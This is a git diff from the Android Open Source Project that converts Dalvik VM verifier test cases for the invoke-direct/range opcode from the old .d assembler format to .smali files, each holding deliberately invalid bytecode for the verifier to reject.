diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21.smali
new file mode 100644
index 0000000..c105b71
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21.smali
@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_21.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private test(II)I
+.registers 7
+       const v0, 999
+       const v1, 888
+       const v2, 777
+       
+       div-int v4, v5, v6
+       
+       return v4
+.end method
+
+.method public run()I
+.registers 7
+       const v0, 111
+       const v1, 222
+       const v2, 333
+       
+       const v4, 50
+       const v5, 25
+         move-object v3, v6
+       invoke-direct/range {v3..v5}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21;->test(II)I
+       move-result v3
+       
+       const v4, 2
+       if-ne v3, v4, :Label30
+       
+       const v4, 111
+       if-ne v0, v4, :Label30
+       
+       const v4, 222
+       if-ne v1, v4, :Label30
+       
+       const v4, 333
+       if-ne v2, v4, :Label30
+
+       const v0, 1       
+       return v0
+:Label30
+        const v0, 0
+        return v0
+        
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24.d
deleted file mode 100644
index 31a24c4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24.d
+++ /dev/null
@@ -1,70 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_24.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_24
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test(II)I
-.limit regs 7
-       const v0, 999
-       const v1, 888
-       const v2, 777
-       
-       div-int v4, v5, v6
-       
-       return v4
-.end method
-
-.method public run()I
-.limit regs 7
-       const v0, 111
-       const v1, 222
-       const v2, 333
-       
-       
-       const-wide v4, 50
-          move-object v3, v6
-       invoke-direct {v3..v5}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24/test(II)I
-       move-result v3
-       
-       const v4, 2
-       if-ne v3, v4, Label30
-       
-       const v4, 111
-       if-ne v0, v4, Label30
-       
-       const v4, 222
-       if-ne v1, v4, Label30
-       
-       const v4, 333
-       if-ne v2, v4, Label30
-
-       const v0, 1       
-       return v0
-Label30:
-        const v0, 0
-        return v0
-        
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24.smali
new file mode 100644
index 0000000..c26fe89
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24.smali
@@ -0,0 +1,86 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24;
+.super Ljava/lang/Object;
+.source "T_invoke_direct_range_24.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private test(II)I
+    .registers 7
+
+    const v0, 0x3e7
+
+    const v1, 0x378
+
+    const v2, 0x309
+
+    div-int p0, p1, p2
+
+    return p0
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 7
+
+    const v0, 0x6f
+
+    const v1, 0xde
+
+    const v2, 0x14d
+
+    const-wide v4, 0x32
+
+    move-object v3, p0
+
+    invoke-direct {v3, v5}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_24;->test(II)I
+
+    move-result v3
+
+    const v4, 0x2
+
+    if-ne v3, v4, :cond_2b
+
+    const v4, 0x6f
+
+    if-ne v0, v4, :cond_2b
+
+    const v4, 0xde
+
+    if-ne v1, v4, :cond_2b
+
+    const v4, 0x14d
+
+    if-ne v2, v4, :cond_2b
+
+    const v0, 0x1
+
+    return v0
+
+    :cond_2b
+    const v0, 0x0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25.d
deleted file mode 100644
index 6c2334e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_25.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_25
-.super dot/junit/opcodes/invoke_direct_range/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct_range/TSuper/<init>()V
-       return-void
-.end method
-
-.method private test()V
-    return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_direct_range/TPlain
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct_range/TPlain/<init>()V
-
-       invoke-direct/range {v2}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25/test()V
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25.smali
new file mode 100644
index 0000000..52dd18e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25.smali
@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25;
+.super Ldot/junit/opcodes/invoke_direct_range/TSuper;
+.source "T_invoke_direct_range_25.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_direct_range/TSuper;-><init>()V
+
+    return-void
+.end method
+
+.method private test()V
+    .registers 1
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 6
+
+    new-instance v2, Ldot/junit/opcodes/invoke_direct_range/TPlain;
+
+    invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct_range/TPlain;-><init>()V
+
+    invoke-direct/range {v2 .. v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_25;->test()V
+
+    move-result v0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.d
deleted file mode 100644
index 6160fe5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.d
+++ /dev/null
@@ -1,58 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TTestInterface.java
-.interface public dot.junit.opcodes.invoke_direct_range.d.TTestInterface
-
-.method public abstract test()V
-.end method
-
-; =====================================
-
-.source TTestInterfaceImpl.java
-.class public dot.junit.opcodes.invoke_direct_range.d.TTestInterfaceImpl
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_direct_range.d.TTestInterface
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test()V
-    return-void
-.end method
-
-; =====================================
-
-.source T_invoke_direct_range_26.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_26
-.super dot/junit/opcodes/invoke_direct_range/d/TTestInterfaceImpl
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct_range/d/TTestInterfaceImpl/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 8
-
-       invoke-direct/range {v7}, dot/junit/opcodes/invoke_direct_range/d/TTestInterface/test()V
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/TTestInterface.smali
new file mode 100644
index 0000000..79c0986
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_direct_range/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/TTestInterfaceImpl.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/TTestInterfaceImpl.smali
new file mode 100644
index 0000000..d2d9529
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/TTestInterfaceImpl.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct_range/d/TTestInterfaceImpl;
+.super Ljava/lang/Object;
+.source "TTestInterfaceImpl.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_direct_range/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/T_invoke_direct_range_26.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/T_invoke_direct_range_26.smali
new file mode 100644
index 0000000..0dcf0aa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26.smalis/T_invoke_direct_range_26.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_26;
+.super Ldot/junit/opcodes/invoke_direct_range/d/TTestInterfaceImpl;
+.source "T_invoke_direct_range_26.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_direct_range/d/TTestInterfaceImpl;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-direct/range {p0 .. p0}, Ldot/junit/opcodes/invoke_direct_range/d/TTestInterface;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27.d
deleted file mode 100644
index 1073241..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_27.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_27
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test()V
-    return-void
-.end method
-
-.method public static run()V
-.limit regs 3
-
-       new-instance v0, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27
-       
-       invoke-direct/range {v0}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27/test()V
-       
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27.smali
new file mode 100644
index 0000000..1e4dee2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27;
+.super Ljava/lang/Object;
+.source "T_invoke_direct_range_27.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 3
+
+    new-instance v0, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27;
+
+    invoke-direct/range {v0 .. v0}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_27;->test()V
+
+    return-void
+.end method
+
+.method private test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3.d
deleted file mode 100644
index 056f2c2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_3.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v2}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3.smali
new file mode 100644
index 0000000..e39d99f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_3.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4.d
deleted file mode 100644
index a7aeae9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_4.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_4
-.super java/lang/Object
-
-.method static <clinit>()V
-    return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-    invoke-direct/range {v0}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4/<clinit>()V
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4.smali
new file mode 100644
index 0000000..8405ff5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4;
+.super Ljava/lang/Object;
+.source "T_invoke_direct_range_4.java"
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 1
+
+    return-void
+.end method
+
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-direct/range {p0 .. p0}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_4;-><clinit>()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5.d
deleted file mode 100644
index 4ec85bb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_5.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5.smali
new file mode 100644
index 0000000..ab5fa74
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_5.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_5;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6.d
deleted file mode 100644
index cda9caf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6.d
+++ /dev/null
@@ -1,27 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_6.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V    
-       invoke-direct/range {v1}, dot/junit/opcodes/invoke_direct_range/TSuper/toIntPvt()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6.smali
new file mode 100644
index 0000000..6cc7a45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_6.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V    
+       invoke-direct/range {v1}, Ldot/junit/opcodes/invoke_direct_range/TSuper;->toIntPvt()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7.d
deleted file mode 100644
